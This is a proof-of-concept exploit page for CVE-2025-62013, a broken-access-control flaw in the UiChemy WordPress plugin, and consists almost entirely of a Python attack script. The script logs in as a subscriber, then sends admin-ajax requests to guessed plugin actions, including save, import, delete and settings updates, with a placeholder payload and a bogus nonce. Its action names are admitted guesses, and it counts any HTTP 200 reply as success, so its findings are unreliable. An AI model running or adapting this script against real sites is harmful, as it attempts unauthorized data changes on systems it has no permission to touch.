CVE-2025-62013 POSIMYTH UiChemy WordPress插件缺失授权漏洞

# CVE-2025-62013 PoC - POSIMYTH UiChemy Broken Access Control # This PoC demonstrates the missing authorization vulnerability # Requires a low-privilege WordPress account (subscriber role) import requests import sys # Configuration TARGET_URL = "http://target-wordpress-site.com" USERNAME = "low_privilege_user" PASSWORD = "user_password" def get_auth_cookie(): """Login to WordPress and get authentication cookie""" login_url = f"{TARGET_URL}/wp-login.php" session = requests.Session() login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data) return session.cookies.get_dict() def exploit_broken_access_control(cookies): """Exploit the missing authorization vulnerability""" # Target the UiChemy plugin's AJAX endpoint # Replace 'uichemy_action' with actual vulnerable action exploit_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Common vulnerable actions in UiChemy plugin vulnerable_actions = [ 'uichemy_save_data', 'uichemy_export', 'uichemy_import', 'uichemy_delete', 'uichemy_update_settings' ] for action in vulnerable_actions: print(f"[*] Testing action: {action}") # Construct exploit payload # Adjust payload based on actual vulnerable parameter exploit_data = { 'action': action, 'uichemy_nonce': 'any_value_or_empty', # Nonce may be missing validation # Additional parameters depending on the vulnerable function 'data': 'malicious_payload' } response = requests.post( exploit_url, data=exploit_data, cookies=cookies ) # Check for successful unauthorized access if response.status_code == 200: print(f"[+] Potential vulnerability confirmed with action: {action}") print(f"Response: {response.text[:200]}") return True return False def main(): print("[*] CVE-2025-62013 PoC - POSIMYTH UiChemy Missing Authorization") print("[*] Target: POSIMYTH UiChemy WordPress Plugin <= 4.0.0") # Step 1: Authenticate with low-privilege account print("\n[1] Authenticating with low-privilege account...") cookies = get_auth_cookie() if not cookies: print("[-] Authentication failed") sys.exit(1) print("[+] Authentication successful") # Step 2: Exploit the broken access control print("\n[2] Exploiting missing authorization vulnerability...") if exploit_broken_access_control(cookies): print("\n[!] Vulnerability confirmed - unauthorized access achieved") else: print("\n[-] No vulnerability detected or patch applied") if __name__ == "__main__": main()